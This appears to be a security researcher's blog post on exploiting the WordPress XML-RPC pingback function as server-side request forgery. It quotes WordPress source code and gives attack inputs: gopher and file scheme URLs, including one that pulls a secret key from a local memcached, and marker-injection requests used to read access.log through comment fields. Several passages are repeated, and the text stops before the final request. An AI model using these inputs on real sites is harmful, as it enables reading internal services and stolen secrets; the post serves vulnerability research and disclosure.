Vulnerability in WordPress XMLRPC pingback function was recently published:
http://www.ethicalhack3r.co.uk/introduction-to-the-wordpress-xml-rpc-api/
Basically this vuln can be used to scan opened ports on localhost and intranet:
https://github.com/FireFart/WordpressPingbackPortScanner
But in fact, this vulnerability is much wider!
First, look at "SSRF bible. Cheatsheet":
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit
and our ZeroNights 0x02 presentation:
http://www.slideshare.net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities
Lets try to exploit this bug as a SSRF!
By default WP try to use cURL (libcurl) to make a requests:
Now you know that using file:// gopher:// dict:// ldap:// and other schemas do this bug really dangerous.
It is easy to exploit local services and host-based auth by dict/gopher.
Try to read data from response. It is may be response with local file content (file://) or data from intranet/services (http://wiki.internal.local, gopher://localhost:11211/1get%20secretkey%0aquit).
Look at WP code again:
Data between "<titile>" and "</title>" strings will be put in author field of comment (255 bytes limited by DB field).
Data between "<a >" and "</a>" strings will be put in content field of comment (100 bytes limited by line 5022).
Now it is clear that you can read 355 bytes of arbitrary data.
Let's try to read data from access.log.
First inject markers into access.log by following requests:
http://localhost/tests/wordpress/#<title>
http://localhost/tests/wordpress/#</title>
http://localhost/tests/wordpress/#<a http://localhost/tests/wordpress/?p=1>
http://localhost/tests/wordpress/#</a>
Send requests with markers by manually crafted HTTP packets like this (browsers create HTTP requests w/o anchors):
http://www.ethicalhack3r.co.uk/introduction-to-the-wordpress-xml-rpc-api/
Basically this vuln can be used to scan opened ports on localhost and intranet:
https://github.com/FireFart/WordpressPingbackPortScanner
But in fact, this vulnerability is much wider!
First, look at "SSRF bible. Cheatsheet":
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit
and our ZeroNights 0x02 presentation:
http://www.slideshare.net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities
Lets try to exploit this bug as a SSRF!
By default WP try to use cURL (libcurl) to make a requests:
./wp-includes/class-wp-xmlrpc-server.php:
4988 $linea = wp_remote_fopen( $pagelinkedfrom );
./wp-includes/functions.php:
749 function wp_remote_fopen( $uri ) {
...
758 $response = wp_remote_get( $uri, $options );
./wp-includes/http.php:
74 function wp_remote_get($url, $args = array()) {
75 $objFetchSite = _wp_http_get_object();
76 return $objFetchSite->get($url, $args);
...
22 function &_wp_http_get_object() {
23 static $http;
24
25 if ( is_null($http) )
26 $http = new WP_Http();
./wp-includes/class-http.php:
294 function get($url, $args = array()) {
295 $defaults = array('method' => 'GET');
296 $r = wp_parse_args( $args, $defaults );
297 return $this->request($url, $r);
298 }
...
81 function request( $url, $args = array() ) {
...
191 return $this->_dispatch_request($url, $r);
...
243 private function _dispatch_request( $url, $args ) {
244 static $transports = array();
245
246 $class = $this->_get_first_available_transport( $args, $url
...
205 public function _get_first_available_transport( $args, $url = null )
206 $request_order = array( 'curl', 'streams', 'fsockopen' );
Now you know that using file:// gopher:// dict:// ldap:// and other schemas do this bug really dangerous.
It is easy to exploit local services and host-based auth by dict/gopher.
Try to read data from response. It is may be response with local file content (file://) or data from intranet/services (http://wiki.internal.local, gopher://localhost:11211/1get%20secretkey%0aquit).
Look at WP code again:
./wp-includes/class-wp-xmlrpc-server.php:
4988 $linea = wp_remote_fopen( $pagelinkedfrom );
4989 if ( !$linea )
...
4999 preg_match('|<title>([^<]*?)</title>|is', $linea, $matchtitle);
5000 $title = $matchtitle[1];
5001 if ( empty( $title ) )
5002 return new IXR_Error(32, __('We cannot find a title on that page.'));
5003
5004 $linea = strip_tags( $linea, '<a>' ); // just keep the tag we need
5005
5006 $p = explode( "\n\n", $linea );
5007
5008 $preg_target = preg_quote($pagelinkedto, '|');
5009 foreach ( $p as $para ) {
5010 if ( strpos($para, $pagelinkedto) !== false ) { // it exists, but is it a link?
5011 preg_match("|<a[^>]+?".$preg_target."[^>]*>([^>]+?)</a>|", $para, $context);
5012
5013 // If the URL isn't in a link context, keep looking
5014 if ( empty($context) )
5015 continue;
...
5019 $excerpt = preg_replace('|\</?wpcontext\>|', '', $para);
5020
5021 // prevent really long link text
5022 if ( strlen($context[1]) > 100 )
5023 $context[1] = substr($context[1], 0, 100) . '...';
Data between "<titile>" and "</title>" strings will be put in author field of comment (255 bytes limited by DB field).
Data between "<a >" and "</a>" strings will be put in content field of comment (100 bytes limited by line 5022).
Now it is clear that you can read 355 bytes of arbitrary data.
Let's try to read data from access.log.
First inject markers into access.log by following requests:
http://localhost/tests/wordpress/#<title>
http://localhost/tests/wordpress/#</title>
http://localhost/tests/wordpress/#<a http://localhost/tests/wordpress/?p=1>
http://localhost/tests/wordpress/#</a>
Send requests with markers by manually crafted HTTP packets like this (browsers create HTTP requests w/o anchors):
GET /tests/wordpress/#<a>marker1 HTTP/1.1
Host: localhost
Now you can add comment with arbitrary data between your markers using simple XMLRPC request (see slides 20-23 from our presentation about ProcFS way to read access.log):